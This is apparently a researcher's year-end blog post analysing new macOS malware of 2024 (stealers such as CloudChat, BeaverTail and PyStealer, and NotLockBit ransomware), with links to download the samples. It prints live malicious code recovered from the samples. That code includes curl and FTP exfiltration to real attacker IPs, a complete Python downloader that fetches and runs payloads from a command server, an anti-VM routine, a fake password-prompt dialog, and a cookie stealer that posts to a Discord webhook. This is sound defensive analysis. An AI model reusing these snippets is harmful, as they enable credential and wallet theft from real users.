The majority of samples covered in this post are available in our malware collection.
Goodbye 2024 …and hello 2025! 🥳
For what is now the 9th year in a row, I’ve put together a blog post that comprehensively covers all the new Mac malware that emerged throughout the year.
While the specimens may have been reported on before (for example by the AV company that discovered them), this blog aims to cumulatively and comprehensively cover all the new Mac malware of 2024 - in much technical detail, all in one place …yes, with samples available for download!
After reading this blog post you will have a thorough and comprehensive understanding of latest threats targeting macOS. This is especially important as Macs continue to flourish, with researchers at MacPaw’s Moonlock Lab noting a “60 percent increase [of macOS] in market share in the last 3 years alone”.
Looking forward, others predict the full dominance of macOS (in the enterprise) the end of the decade:
"Mac will become the dominant enterprise endpoint by 2030." -Jamf
Predictably macOS malware follows a similar trajectory, becoming ever more prevalent (and well, insidious).
"2024 saw a noteworthy increase in malicious activity targeting macOS users, with significant growth in both the variety and accessibility of macOS malware.
The darknet was flooded with posts and discussions on bypassing macOS defenses, leveraging AI tools for malware development, and capitalizing on social engineering to distribute macOS malware-as-a-service (MaaS)." -Moonlock Labs
That having been said, at the end of this blog, I’ve included a section dedicated to notable instances or developments of these other threats, that includes a brief overview, and links to detailed write-ups.
For each malicious specimen covered in this post, we’ll discuss the malware’s:
Infection Vector:
How it was able to infect macOS systems.
Persistence Mechanism:
How it installed itself, to ensure it would be automatically restarted on reboot/user login.
Features & Goals:
What was the purpose of the malware? a backdoor? a stealer? or something more insidious…
Also, for each malware specimen, if a public sample is available, I’ve added a direct download link, should you want to follow along with my analysis or dig into the malware more yourself. #SharingIsCaring
However, this year, given the large increase in the number of samples, I’ve decided to organize them by type, for example ransomware, stealers, etc. etc. To me this also makes more sense, as the month of discovery is somewhat irrelevant (at least from a technical point of view).
Before we dive in, let’s talk about analysis tools!
Throughout this blog, I reference various tools used in analyzing the malware specimens.
While there are a myriad of malware analysis tools, these are some of my own tools, and other favorites, that include:
ProcessMonitor
My open-source utility that monitors process creations and terminations, providing detailed information about such events.
FileMonitor
My open-source utility that monitors file events (such as creation, modifications, and deletions) providing detailed information about such events.
DNSMonitor
My open-source utility that monitors DNS traffic providing detailed information domain name questions, answers, and more.
WhatsYourSign
My open-source utility that displays code-signing information, via the UI.
Netiquette
My open-source (light-weight) network monitor.
lldb
The de-facto commandline debugger for macOS. Installed (to /usr/bin/lldb
) as part of Xcode.
Suspicious Package
A tools for “inspecting macOS Installer Packages” (.pkgs
), which also allows you to easily extract files directly from the .pkg.
Hopper Disassembler
A “reverse engineering tool (for macOS) that lets you disassemble, decompile and debug your applications” …or malware specimens.
You're in luck, as I've written a book on this topic, that is wholly free online:
|
Continuing the trend from 2023, the most common type of new macOS malware in 2024, was undoubtedly “info stealers”. Such malware is solely focused on collecting and stealing sensitive information from victims machines, such as cookies, password, certificates, crytocurrency wallets, and more:
…and, as there isn’t much need to stick around once this information is obtained, stealers often don’t persist.
Now, it’s easy to brush off stealers, however if nothing else, 2024 showed us that stealers were often a precursor to far more damaging attacks:
If you’re interested in the type of information on macOS systems, that stealers target, the SentinelOne researcher Phil Stokes (@philofishal), has written an excellent post on this very topic: “Session Cookies, Keychains, SSH Keys & More | Data Malware Steals from macOS Users.”
“Byteing Back: Detection, Dissection and Protection Against macOS Stealers”
Ok, enough overview, let’s now dive into the new macOS stealers of 2024!
CloudChat
CloudChat is fairly standard macOS stealer, focusing on largely on cryptocurrency wallets and keys. However, it does have a few tricks up its sleeve such as monitoring the clipboard. Moreover its use of Telegram as well as FTP (as an exfiltration mechanism) is interesting.
Download: CloudChat
(password: infect3d
)
Kandji researchers Adam Kohler and Christopher Lopez initially uncovered CloudChat on VirusTotal. Their subsequent analysis, “CloudChat Infostealer: How It Works, What It Does” is oft-cited here.
This was an exciting find that Christopher Lopez and I worked on all weekend! Super proud of being able to get this out! https://t.co/nHNBuUyC0y#cybersecurity #malware #infostealer #cryptostealer #cloudchat #reverseengineering #kandji #edr #mdm
— Adam Kohler (@AdamJKohler) April 8, 2024
Writeups:
Infection Vector: Fake (Video Meeting) Applications
Though the Kandji report noted they originally discovered the malware on VirusTotal, it was also available on CloudChat’s website. And what is CloudChat? Spoiler: It is a fake app, but it’s website claimed that it:
“provides you with a safe social life service…chat with friends around the world and share your unique and interesting perspectives…use pictures and videos to share your life in the circle of friends or the world…let the world applaud you without worrying about privacy being leaked.”
If the cybercriminals can get a user to downloand and run the CloudChat, they’ll be infected!
We’ve seen this approach to infecting macOS users before whereas attackers will send their targets meeting invites, then ultimately involve the victim downloading and executing what they believe is a required video-chat application, but is really malware. (See: “Malicious meeting invite fix targets Mac users”).
Persistence: None
Many stealers don’t persist, and CloudChat is no exception.
Capabilities: Stealer
If an unsuspecting victim runs the CloudChat application, the malicious logic (found within the libCloudchat.dylib
) will be executed:
We can use otool
to dump the application’s dependencies, to see (as expected) a dependency on this library:
% otool -l CloudChat.app/Contents/MacOS/CloudChat ... Load command 45 cmd LC_LOAD_DYLIB cmdsize 80 name @executable_path/../Frameworks/libCloudchat.dylib (offset 24) time stamp 2 Wed Dec 31 14:00:02 1969 current version 0.0.0 compatibility version 0.0.0
The Kandji researchers noted that after performing a geolocation check (to avoid infecting victims in China), the malware will downloaded a binary from 45.77.179.89
. Saving it as .Safari_V8_config
it then executes it:
result = _main.downloadFile(..., "http://45.77.179.89/static/clip",);
if (!result) {
_os.chmod(...);
_main.executeFileInBackground(...);
}
The downloaded binary (.Safari_V8_config
) what implements the stealer logic. By looking at it method names, we can get a pretty good idea about what it is up to:
_main.monitorClipboard
_main.executeOnce
_main.getHostnameAndUsername
_main.copyAndCompressWalletPlugins
_main.compressLogsdata
_main.uploadLogsdata
_main.isValidPrivateKey
_main.replaceAddresses
_main.sendTelegramNotification
First (again as noted by the Kandji researchers), it performs a basic survey of the infected system, which is sends to a Telegram bot. The logic for the former can be found in the getHostnameAndUsername
method, while the latter, in the aptly named sendTelegramNotification
method. Embedded strings within this method show it (ab)uses curl
in order to send the telegram notification:
curl -m %d -s -X POST -H \'Content-Type: application/json\' -d \'%s\' \'https://api.telegram.org/bot%s/sendMessage\'
The monitorClipboard
method is interesting. Its disassembly reveals it uses an open-source clipboard library to monitor the victims clipboard. As items are placed on the clipboard the malware invokes a isValidPrivateKey
method to see if the item is a private key. If so, as noted by another researcher, Alden, who also analyzed the malware, “[the malware] will replace the clipboard contents with an attacker controlled wallet string”:
while (true) {
rax_1 = github.com/atotto/clipboard.readAll(...);
...
if(main.isValidPrivateKey(...)) {
main.replaceAddresses(...);
github.com/atotto/clipboard.writeAll(...);
}
}
The downloaded binary (.Safari_V8_config
) also, as is common to many stealers, looks for common cryptocurrency wallets. Specifically, it looks for those that are implemented as Chrome extensions. Any such cryptocurrency wallets are compressed and exfiltrated. Rather unusually, the exfiltration is done via FTP:
main.uploadLogsdata() {
...
char* var_50 = "--ftp-create-dirs"
char* var_30 = "mars:LnW4BhIdjOsVZzK0"
void* var_20 = "ftp://45.77.179.89/upload/encoun…";
...
os/exec.(*Cmd).Run(_os/exec.Command(..., "curl", ...);
}
If you’re interested in digging a bit deeper into CloudChat, see Kandji’s excellent write-up: “CloudChat Infostealer: How It Works, What It Does”.
Poseidon
(Rodrigo
)Poseidon, is a macOS stealer written by ‘Rodrigo’. Its main rival is Amos, with which it roughly shares the same features and stealer capabilities.
Download: Poseidon
(password: infect3d
)
Researchers from MacPaw’s ‘Moonlock Lab’ were first to uncover, and subsequently detail Poseidon:
1/4: We've discovered a fully undetectable #stealer targeting #macOS. It has maintained a zero-detection rate on VirusTotal since its first submission on 17/05/2024. This stealer is allegedly linked to Rodrigo4, a known Russian-speaking threat actor from XSS underground forums. pic.twitter.com/GWj0usUC1x
— Moonlock Lab (@moonlock_lab) May 23, 2024
Shortly thereafter, an ‘interview’ with the creator ‘Rodrigo’ was posted by g0njxa
:
Writeups:
“From Amos to Poseidon” -SentinelOne
“Approaching stealers devs : a brief interview with Poseidon” -g0njxa
“Poseidon Mac stealer distributed via Google ads” -Malwarebytes
Infection Vector: Google Ads, Pirated Applications, etc.
Most stealers conform to a “Malware as a Service” (MaaS) model, whereas “Traffer Teams” (unrelated to the original malware author) focus on the distribution of the malware to indiscriminately infect victims. Poseidon follows this approach.
In a post, researchers at Malwarebytes detailed how Poseidon was distributed via malicious (Google) ads. In one instance they showed the user’s searching for the Arc Browser would be shown a malicious ad:
If the user (inadvertently?) clicked on the ad, they would be taken to a site, that mimicked the real Arc Browser site:
Clicking ‘Download Arc’, would download the Poseidon …and if the user’s then ran it, they would become infected:
In MoonLock’s post, they also noted that the malware was seen in (possible cracked) applications:
"The main [malware] payload ...is found in CleanMyMacCrack.dmg." -Moonlock Labs
Persistence: None
Many stealers don’t persist, and Poseidon is no exception.
Capabilities: Stealer
Stealers, well, steal stuff ...including cookies and cryptocurrency wallets. And what does Poseidon steal? Well MoonLock's researchers state:"The script ...collects data from various sources (browsers, files, system info), and sends the collected data to a server via curl" -Moonlock Labs
We can see the specifics of this activity in the following screenshot:
In another sample (detailed by researchers at SentinelOne), we can see rather descriptive method names that shed additional insight into its stealer capabilities.
To exfiltrate the data it has collected, Poseidon (as noted earlier), (ab)uses curl:
Cthulhu
Cthulhu is yet another macOS stealer that conforms to the malware-as-a-service (MaaS) model. Written in Go, it has a lot of overlaps with AMOS, and a propensity for stealing credentials related to cryptocurrency wallets but also games.
Download: Cthulhu
(password: infect3d
)
Researchers at Cado Security, originally uncovered and analyzed Cthulhu.
Recently, Cado Security has identified a malware-as-a-service (MaaS) targeting macOS users named “Cthulhu Stealer”. This blog will explore the functionality of this malware and provide insight into how its operators carry out their activities: https://t.co/nJCt6RnUfG
— Cado (@CadoSecurity) August 22, 2024
Writeups:
“From the Depths: Analyzing the Cthulhu Stealer Malware for macOS” -Cado Security
“MacOS Malware Mimicked Popular Apps to Steal Passwords, Crypto Wallets” -PC Magazine
Infection Vector: Fake Applications
As is common practice with macOS stealers, the malware is distributed via fake applications. This means users must be both tricked into downloading and running the malware in order to be infected:
"The [malware] gets on a victim's computer by disguising itself as a legitimate program. Examples cited by Cado include CleanMyMac, Grand Theft Auto IV (likely a typo for VI), and Adobe GenP.
Those who try to install the software will get a warning about bypassing Apple's Gatekeeper, which is designed to prevent malicious downloads. " -PC Magazine
The example below illustrates an instance of Cthulhu, distributed as a “Early Access” GTA application:
Though the malware appeared to be initially (inadvertently) notarized by Apple, said notarization is now revoked:
Persistence: None
Many stealers don’t persist, and Cthulhu
is no exception.
Capabilities: Stealer
"The main functionality of Cthulhu Stealer is to steal credentials and cryptocurrency wallets from various stores, including game accounts." -Cado Security
When Cthulhu
is launched, it will execute a snippet of AppleScript to display a prompt that requests the user’s password:
We find the AppleScript directly embedded in the malicious binary:
This password allows the stealer to perform actions, such as dumping the user (macOS) key chain.
Similar to other stealers, the method names are not obfuscated, and thus we can get a good sense of the stealers capabilities from them:
_main.getLoginKeychain
_main.saveSystemInfoToFile
_main.runCommand
_main.battlenetChecker
_main.binanceChecker
_main.daedalusChecker
_main.electrumChecker
_main.exodusChecker
_main.filezillaChecker
_main.minecraftChecker
...
_main.telegramFunction
_main.copyKeychainFile
_main.getExtensionsWallets
_main.getSubdirectories
...
_main.createZipArchive
...
_main.GetCookiesDBPath
_main.GetCookies
For example if we take a closer look at the getLoginKeychain
, in its disassembly we can see it first executes macOS’ built-in security
command with the list-keychains
command line option:
0x1004cc7a6 lea rdx, [rel data_1006e1ccf] {"list-keychains"}
...
0x1004cc7b2 lea rax, [rel data_1006deeec[0x51]] {"security"}
...
0x1004cc7cb call _os/exec.Command
With the path to the keychain, it then makes use of the open-source Chainbreaker
project which can (given a user’s password) extract information from the keychain.
As the names of other methods indicate, the malware will also attempt to collect information/credentials from the user browser(s), cryptocurrency wallets, and yes, even games (Minecraft, Battlenet, etc.).
Via a file monitor, we can see that the malware will write out the data it collects (such as the keychain) to /Users/Shared/NW/
:
% FileMonitor.app/Contents/MacOS/FileMonitor -filter GTAIV_EarlyAccess_MACOS { "event" : "ES_EVENT_TYPE_NOTIFY_WRITE", "file" : { "destination" : "/Users/Shared/NW/Keychain.txt", "process" : { "pid" : 13892 "name" : "GTAIV_EarlyAccess_MACOS", } } }
The Cado Security researchers note all the collected data is then zipped up, and sent to the attackers server (found at 89.208.103.185
).
BeaverTail
BeaverTail is a DPRK macOS stealer that targets users via a trojanized meeting app.
Download: BeaverTail
(password: infect3d
)
BeaverTail
was originally detected by malwrhunterteam, who tweeted the following:
Interesting, FUD on VT, "MiroTalk.dmg": 9abf6b93eafb797a3556bea1fe8a3b7311d2864d5a9a3687fce84bc1ec4a428c
— MalwareHunterTeam (@malwrhunterteam) July 15, 2024
Payload / next stages are coming from 95.164.17[.]24:1224 (Stark AS 44477).
From a quick look, the next stages includes stealing from browsers, keylogging, installing AnyDesk,… pic.twitter.com/YRIMLPl5r8
Writeups:
Infection Vector: Fake (Video Meeting) Applications
In their posting, malwrhunterteam has kind enough to provide a hash and as this file is on VirusTotal we can grab it for our own analysis purposes.
First, though, were did it come from? Poking around on VirusTotal we see that the disk image was spotted in the wild (“ITW”) at https://mirotalk.net/app/MiroTalk.dmg
This site is currently offline:
% nslookup mirotalk.net Server: 1.1.1.1 Address: 1.1.1.1#53 ** server can't find mirotalk.net: NXDOMAIN
However, looking at Google’s cache we can see its a clone of the legitimate Miro Talk site, https://meet.no42.org
.
Miro Talk is a legitimate application that provides “free browser-based real-time video calls”, that allows your to “start your next video call with a single click. No download, plug-in, or login is required”
It’s common for DPRK hackers to target their victims by posing as job hunters. A recent write up, titled, “Hacking Employers and Seeking Employment: Two Job-Related Campaigns Bear Hallmarks of North Korean Threat Actors” published by Palo Alto Network’s Unit42 research group provides one such (likely DPRK) campaign. And in fact it appears the malware we’re covering today is directly related to this campaign!
If I had to guess, the DPRK hackers likely approached their potential victims, requesting that they join a
hiring meeting, by download and executing the (infected version of) Miro Talk
hosted on mirotalk.net
. (Yes, even the cloned site states, that you can “start your next video call with a single click. No download, … is required.” but I guess, who reads the fine print?).
If the targeted victims downloaded the fake MicroTalk app, and ran it, they’d be infected
Persistence: None
Though BeaverTail itself does not persist, it has the ability to download 2nd stage payloads (such as the InvisibleFerret
backdoor), which may persist.
Capabilities: Stealer (+ Downloader)
Though BeaverTail is a stealer, it also will download and execute 2nd stage payloads, that include fully featured backdoors.
Let’s start by statically analyzing the app that found on the disk image. Specificially, the app’s executable binary, named Jami
that is a 64-bit Intel Mach-O executable:
% file /Volumes/MiroTalk/MiroTalk.app/Contents/MacOS/Jami /Volumes/MiroTalk/MiroTalk.app/Contents/MacOS/Jami: Mach-O 64-bit executable x86_64
Extracting embedded symbols (via nm
) and strings reveal its likely capabilities:
% nm /Volumes/MiroTalk/MiroTalk.app/Contents/MacOS/Jami | c++filt ... 0000000100007100 T MainFunc::fileUpload() 00000001000080e0 T MainFunc::pDownFinished() 0000000100007b70 T MainFunc::upLDBFinished() ... 0000000100004f10 T MainFunc::setBaseBrowserUrl() 0000000100008810 T MainFunc::clientDownFinished() 0000000100007900 T MainFunc::run() 0000000100004f00 T MainFunc::MainFunc(QObject*) % strings /Volumes/MiroTalk/MiroTalk.app/Contents/MacOS/Jami http://95.164.17.24:1224 nkbihfbeogaeaoehlefnkodbefgpgknn ejbalbakoplchlghecdalmeeeajnimhm fhbohimaelbohpjbbldcngcnapndodjp hnfanknocfeofbddgcijnmhnfnkdnaad ibnejdfjmmkpcnlpebklmnkoeoihofec bfnaelmomeimhlpmgjnjophhpkkoljpa ... C:\Users /home /Users /AppData/Local/Google/Chrome/User Data /Library/Application Support/Google/Chrome /AppData/Local/BraveSoftware/Brave-Browser/User Data /Library/Application Support/BraveSoftware/Brave-Browser /AppData/Roaming/Opera Software/Opera Stable ... /Library/Keychains/login.keychain-db /uploads Upload LDB Finshed!!! /pdown /client/99 Download Python Success! --directory /.pyp/python.exe Download Client Success!
Specifically from the symbol’s output we see methods names (fileUpload
, pDownFinished
, run
) that reveal likely exfiltration and download & execute capabilities. (Note to demangle embedded symbols we pipe nm
’s output through c++filt
).
And from embedded strings we see both the address of the likely command & control server, 95.164.17.24:1224
and also hints as to the type of information the malware collect for exfiltration. Specifically browser extension IDs of popular crypto-currency wallets, paths to user browsers’ data, and the macOS keychain. Other strings are related to the download and execution of additional payloads which appear to malicious python scripts.
Other symbols and strings reveal that the application was packaged up via the Qt/QMake framework. For example, a string in the app’s Info.plist
file states: “This file was generated by Qt/QMake”.
If we load the /Volumes/MiroTalk/MiroTalk.app/Contents/MacOS/Jami
into a disassembler we see the embedded strings referenced in methods that are aptly named. For example the setBaseBrowserUrl
method references strings relates to browser paths:
1int setBaseBrowserUrl(int arg0) {
2 ...
3 var_20 = QString::fromAscii_helper("/Library/Application Support/Google/Chrome", 0x2a);
If we run the application in a virtual machine, at first, nothing appears amiss:
But a file monitor shows that Jami
is rather busy, for example attempting to read the user’s keychain:
# ./FileMonitor.app/Contents/MacOS/FileMonitor -pretty -filter Jami { "event" : "ES_EVENT_TYPE_NOTIFY_OPEN", "file" : { "destination" : "/Users/user/Library/Keychains/login.keychain-db", "process" : { "pid" : 923, "name" : "Jami", "path" : "/Volumes/MiroTalk/MiroTalk.app/Contents/MacOS/Jami", "architecture" : "Intel", ... } } }
Also in a debugger, it helpfully displays the files it will (if present) exfiltrate:
("/Users/Shared/Library/Keychains/login.keychain-db", "/Users/Shared/Library/Application Support/Google/Chrome/Local State", "/Users/Shared/Library/Application Support/BraveSoftware/Brave-Browser/Local State", "/Users/Shared/Library/Application Support/com.operasoftware.opera/Local State", "/Users/user/Library/Keychains/login.keychain-db", "/Users/user/Library/Application Support/Google/Chrome/Local State", "/Users/user/Library/Application Support/BraveSoftware/Brave-Browser/Local State", "/Users/user/Library/Application Support/com.operasoftware.opera/Local State")
It then attempts to exfiltrate these to its command & control server (95.164.17.24
on port 1224
). However, this appears to fail, as noted in the debugger output:
Jami[923:32727] Error: QNetworkReply::TimeoutError
Also it appears that the 2nd-stage payloads, for example the one that is retrieved via the request to client/99
are failing, though the error message provides information as to the file that was originally served up (main99.py
)
1<!DOCTYPE html>
2<html lang="en">
3<head>
4<meta charset="utf-8">
5<title>Error</title>
6</head>
7<body>
8<pre>Error: UNKNOWN: unknown error, open 'D:\server\backend server\assets\client\main99.py'</pre>
9</body>
10</html>
However, if we return back to the embedded strings, recall the API endpoints the malware attempts to communicate with (to both upload and download files) include uploads
, pdown
and /client/99
. If you read the aforementioned Palo Alto Networks report we find the same API endpoints mentioned!
At that time, the PANW researchers noted the malware they dubbed BeaverTail
(that was communicating with these same endpoints) was “JavaScript-based”. It seems the the DPRK hackers have now created a native-version of the malware, which is what we’re focusing on here.
Recall also that malwrhunterteam noted that the command & control server, (95.164.17.24
) is a known DPRK server. If query it via VirusTotal we find information about the files it was hosting:
Though some are not longer available, others were scanned by VirusTotal including client/5346
, which turns out to be a simple cross-platform Python
downloader (and executor):
1import base64,platform,os,subprocess,sys
2try:import requests
3except:subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'requests']);import requests
4
5sType = "5346"
6gType = "root"
7ot = platform.system()
8home = os.path.expanduser("~")
9#host1 = "10.10.51.212"
10host1 = "95.164.17.24"
11host2 = f'http://{host1}:1224'
12pd = os.path.join(home, ".n2")
13ap = pd + "/pay"
14def download_payload():
15 if os.path.exists(ap):
16 try:os.remove(ap)
17 except OSError:return True
18 try:
19 if not os.path.exists(pd):os.makedirs(pd)
20 except:pass
21
22 try:
23 if ot=="Darwin":
24 # aa = requests.get(host2+"/payload1/"+sType+"/"+gType, allow_redirects=True)
25 aa = requests.get(host2+"/payload/"+sType+"/"+gType, allow_redirects=True)
26 with open(ap, 'wb') as f:f.write(aa.content)
27 else:
28 aa = requests.get(host2+"/payload/"+sType+"/"+gType, allow_redirects=True)
29 with open(ap, 'wb') as f:f.write(aa.content)
30 return True
31 except Exception as e:return False
32res=download_payload()
33if res:
34 if ot=="Windows":subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW | subprocess.CREATE_NEW_PROCESS_GROUP)
35 else:subprocess.Popen([sys.executable, ap])
36
37if ot=="Darwin":sys.exit(-1)
38
39ap = pd + "/bow"
40
41def download_browse():
42 if os.path.exists(ap):
43 try:os.remove(ap)
44 except OSError:return True
45 try:
46 if not os.path.exists(pd):os.makedirs(pd)
47 except:pass
48 try:
49 aa=requests.get(host2+"/brow/"+ sType +"/"+gType, allow_redirects=True)
50 with open(ap, 'wb') as f:f.write(aa.content)
51 return True
52 except Exception as e:return False
53res=download_browse()
54if res:
55 if ot=="Windows":subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW | subprocess.CREATE_NEW_PROCESS_GROUP)
56 else:subprocess.Popen([sys.executable, ap])
Others, such as payload/5346
are appear to be fully-featured cross-platform Python backdoor dubbed by the PANW
researchers as InvisibleFerret
. This again ties this malware to the previous PANW analysis as they noted the (JavaScript variant of) BeaverTail
“retrieves additional malware as its second-stage payload. This payload is a cross-platform backdoor we have named InvisibleFerret.”
PyStealer
PyStealer
is a python-based stealer, that besides relatively standard stealer logic, also contains some anti-analysis logic.
Download: PyStealer
(password: infect3d
)
Researchers from MacPaw’s ‘Moonlock Lab’ were first to uncover PyStealer
on VirusTotal and provide some initial details about the stealer:
1/4: New macOS stealer sample detected. First submission: 2023-12-04. Undetected by VirusTotal. Pretends to be a legit Mac app. Uses PyInstaller and parts of base64 https://t.co/TmKsHAwDo3 #macos #malware #stealer pic.twitter.com/549PS392CP
— Moonlock Lab (@moonlock_lab) February 27, 2024
Writeups:
Infection Vector: Fake Documents
Though we don’t have much insight into how PyStealer
targets it victims, mounting its disk image shows that it is likely attempting to trick users into open something masquerading as a PDF “Engineer” document:
Using WhatsYourSign
we can see that this is (unsurprisingly) ‘Engineer Documents’ is not document, but rather an application (that’s ad-hoc signed):
Thus, if the user is tricked into opening the item (and clicking through the macOS security warnings) they will become infected.
Persistence: None
Many stealers don’t persist, and PyStealer
is no exception.
Capabilities: Stealer
In their X thread, the Moonlock Lab’s researchers noted the malware was created with PyInstaller …which means we should be able to recover a representation of the original Python code …which as we’ll see makes analysis a breeze.
First, we extract the compiled Python byte code (.pyc
files) via pyinstxtractor
:
% python3 pyinstxtractor.py "/Volumes/Empire File Transfer/Engineer Documents.app/Contents/MacOS/Engineer Documents" [+] Processing /Volumes/Empire File Transfer/Engineer Documents.app/Contents/MacOS/Engineer Documents [+] Pyinstaller version: 2.1+ [+] Python version: 3.10 [+] Length of package: 6817203 bytes [+] Found 13 files in CArchive [+] Beginning extraction...please standby [+] Possible entry point: Engineer Documents.pyc ... [+] Successfully extracted pyinstaller archive: /Volumes/Empire File Transfer/Engineer Documents.app/Contents/MacOS/Engineer Documents
The extracted .pyc
files can now be found in a directory named Engineer Documents_extracted
:
% ls "Engineer Documents_extracted" Engineer Documents.pyc PYZ-00.pyz_extracted pyi_rth_multiprocessing.pyc ...
Though we could possible uses another commandline utility (such as uncompyle6
or decompyle3
) to convert the extract compiled Python byte code files back into Python code, its easier to just do it online for example via pylingual:
Decompiling the Engineer Documents.pyc
file reveals the Python code of the stealer.
First (as noted by the Moonlock Labs researchers), we see the malware’s basic anti-analysis logic. Specifically in a function named antiVM
we see that malware will exit if it finds itself running in a virtual machine (VM):
def antiVM():
hwModel = subprocess.run('sysctl -n hw.model', shell=True, capture_output=True)
resp = str(hwModel.stdout)[2:][:3]
if resp!= 'Mac':
killSwitch()
hwMemsize = subprocess.run('sysctl -n hw.memsize', shell=True, capture_output=True)
resp = str(hwMemsize.stdout)[2:][:(-3)]
if int(resp) < 3999999999:
killSwitch()
ioPlat = subprocess.run('ioreg -rd1 -c IOPlatformExpertDevice', shell=True, text=True, capture_output=True)
resp = ioPlat.stdout
IOPlatformSN = str(re.search('(?<=IOPlatformSerialNumber\" = \")[^\\\"]*', resp).group())
if IOPlatformSN == 0:
killSwitch()
boardiD = str(re.search('(?<=board-id\" = <\")[^\\\"]*', resp).group())
if 'VirtualBox' in boardiD:
killSwitch()
if 'VM Ware' in boardiD:
killSwitch()
manuF = str(re.search('(?<=manufacturer\" = <\")[^\\\"]*', resp).group())
if 'Apple' in manuF:
break
killSwitch()
usbD = subprocess.run('ioreg -rd1 -c IOUSBHostDevice | grep \"USB Vendor Name\"', shell=True, text=True, capture_output=True)
resp = usbD.stdout
if 'VMware' in str(resp):
killSwitch()
if 'VirualBox' in str(resp):
killSwitch()
ioRegL = subprocess.run('ioreg -l | grep -i -c -e \"virtualbox\" -e \"oracle\" -e \"vmware\"', shell=True, text=True, capture_output=True)
resp = ioRegL.stdout
if int(resp) > 0:
killSwitch()
vmFolder = os.path.exists('//Library/Application Support/VMWare Tools')
if vmFolder == True:
killSwitch()
procesS = subprocess.run('pgrep vmware-tools-daemon', shell=True, text=True, capture_output=True)
resp = procesS.stdout
if len(resp) > 0:
killSwitch()
mac = ':'.join(re.findall('...', '%012x' % uuid.getnode()))
mcList = ['00:05:69', '00:0c:29', '00:1c:14', '00:50:56', '08:00:27', '00:1C:42', '00:16:42', '0A:00:27']
if mac[:8] in mcList:
killSwitch()
This anti-VM check is quite comprehensive. For instance, it even inspects the system’s MAC address to determine if it belongs to a virtual machine vendor, using the OUI (Organizationally Unique Identifier).
In order to get the user’s password, the stealer executes a snippet of AppleScript in an aptly-named function getPassword
:
def getPassword():
global userPass # inserted
user = str(os.environ['USER'])
applescript = '\n display dialog \"Preview needs permissions to access Downloads \n\nEnter Password Below\" default answer \"\" with title \"Preview\" with icon POSIX file \"/Users/' + str(user) + '/image.icns\" buttons {\"Allow\"} with hidden answer'
p = subprocess.run('osascript -e \'{}\''.format(applescript), shell=True, capture_output=True)
resp = p.stdout.decode('utf-8')
resp = re.sub('^.*?:', '', resp)
AADADF18 = str(re.sub('^.*?:', '', resp))
if AADADF18[(-1)] == '\n':
AADADF18 = AADADF18[:(-1)]
a = subprocess.run('dscl /Local/Default -authonly ' + user + ' ' + AADADF18, shell=True, capture_output=True)
resp1 = a.stdout.decode('utf-8')
resp1 = re.sub('^.*?:', '', resp1)
AADADF19 = str(re.sub('^.*?:', '', resp1))[:(-1)]
if len(AADADF19) == 0:
userPass = AADADF18
else: # inserted
if len(AADADF19) > 0:
getPassword()
getPassword()
The password is validated via the dscl
command (that is executed with the -authonly
commandline flag).
The core stealer logic is pretty normal, focusing on collecting browser cookies and credentials for cryptocurrency wallets. This data is then zipped up and send to a Discord Webhook.
For example, here is the code that attempts to steal Safari cookies for certain sites:
def safariDestroy(path):
cookiesWH = str(base64.b64decode('aHR0cHM6Ly9kaXNj...2Qi1GVA==').decode('utf-8'))
folder = os.makedirs('/Users/' + user + '/~/Documents/Safari')
sites = ['google.com', 'dropbox.com', 'wetransfer.com', 'drive.google.com', ...]
i = 0
try:
for url in sites:
cookies = browser_cookie3.safari(domain_name=sites[i])
site = os.makedirs('/Users/' + user + '/~/Documents/Safari/Sites/' + sites[i])
path = '/Users/' + user + '/~/Documents/Safari/Sites/' + sites[i] + '/' + sites[i] + '.txt'
f = open(path, 'w')
f.write(str(cookies))
f.close()
time.sleep(0.1)
i += 1
zip = shutil.make_archive('/Users/' + user + '/Safari Cookies', 'zip', '/Users/' + user + '/~/Documents/Safari/Sites')
clear = shutil.rmtree('/Users/' + user + '/~')
...
r = requests.post(cookiesWH, files={'file': open('/Users/' + user + '/Safari Cookies.zip', 'rb')})
r.close()
clear = os.remove('/Users/' + user + '/Safari Cookies.zip')
except:
...
Note that the cookiesWH
variable is set to a Discord webhook.
The stealer will also attempt to exfiltrate the user’s phone book (AddressBook-v22.abcddb
), common cryptocurrency wallets, and files matching extensions such as .zip
, .rar
, etc. (The latter are uploaded to server returned by querying https://api.gofile.io/getServer
).
If you’re interested more in this stealer, have a look at its Python code, which I’ve added to the sample for download.
While macOS has never faced any widespread ransomware threats. Still, each year we see several new ransomware specimens. Luckily for Mac users, most are not quite ready for “prime time” (for example taking into account TCC, nor was notarized) and thus their impact was limited. Still the fact that malware authors have their sights on macOS, should give us all pause for concern. Additionally, it is imperative to ensure that we are sufficiently prepared for future ransomware attacks, which are likely to be more refined and thus consequently pose a higher level of risk.
NotLockBit
Written in Go, NotLockBit is a ransomware specimen targeting macOS. Besides encrypting users files, it also implements basic stealer functionality and exfiltrates collected data to AWS.
Download: NotLockBit
(password: infect3d
)
NotLockBit was originally discovered and analyzed by researchers at TrendMicro:
Writeups:
“Fake LockBit, Real Damage: Ransomware Samples Abuse Amazon S3 to Steal Data” -TrendMicro
“macOS NotLockBit | Evolving Ransomware Samples Suggest a Threat Actor Sharpening Its Tools” -SentinelOne
Infection Vector: Unknown
At this time we do not know how (if at all) NotLockBit
is transmitted to its victims.
The SentinelOne researcher Phil Stokes who also analyzed the malware noted:
"Trend Micro did not describe how or where they discovered the Mach-O sample they reported, and at present there is no known distribution method for NotLockBit. " -Phil Stokes
Persistence: None
Generally speaking, there is no need for Ransomware to persist, and NotLockBit
is no exception.
Capabilities: Ransomware (+Stealer)
In their report, the TrendMicro researchers included the following diagram, that provides a illustrative overview of NotLockBit
’s actions:
As several of the NotLockBit
samples are not obfuscated, analyzing them is fairly straightforward:
_main.main
_main.extractAndSetWp
_main.initialSetup
_main.encryptMasterKey
_main.parsePublicKey
_main.writeKeyToFile
_main.getSystemInfo
_main.EncryptAndUploadFiles
_main.processFile
_main.shouldEncryptFile
_main.encryptFile
_main.init
For example, we find a method named parsePublicKey
that as its name suggests, takes the ransomware’s public key:
As noted in the TrendMicro report, we also find a hard-coded list of file extensions that the randsomware will encrypt:
The file encryption logic can be found in the aptly-named encryptFile
method.
Phil Stokes further notes that once the ransomware is done encrypting the users files, a README.txt
is created in each director, and the user’s desktop background will be changed to the following:
Besides encrypting users’ files and demanding a ransom, the malware will also exfiltrated data:
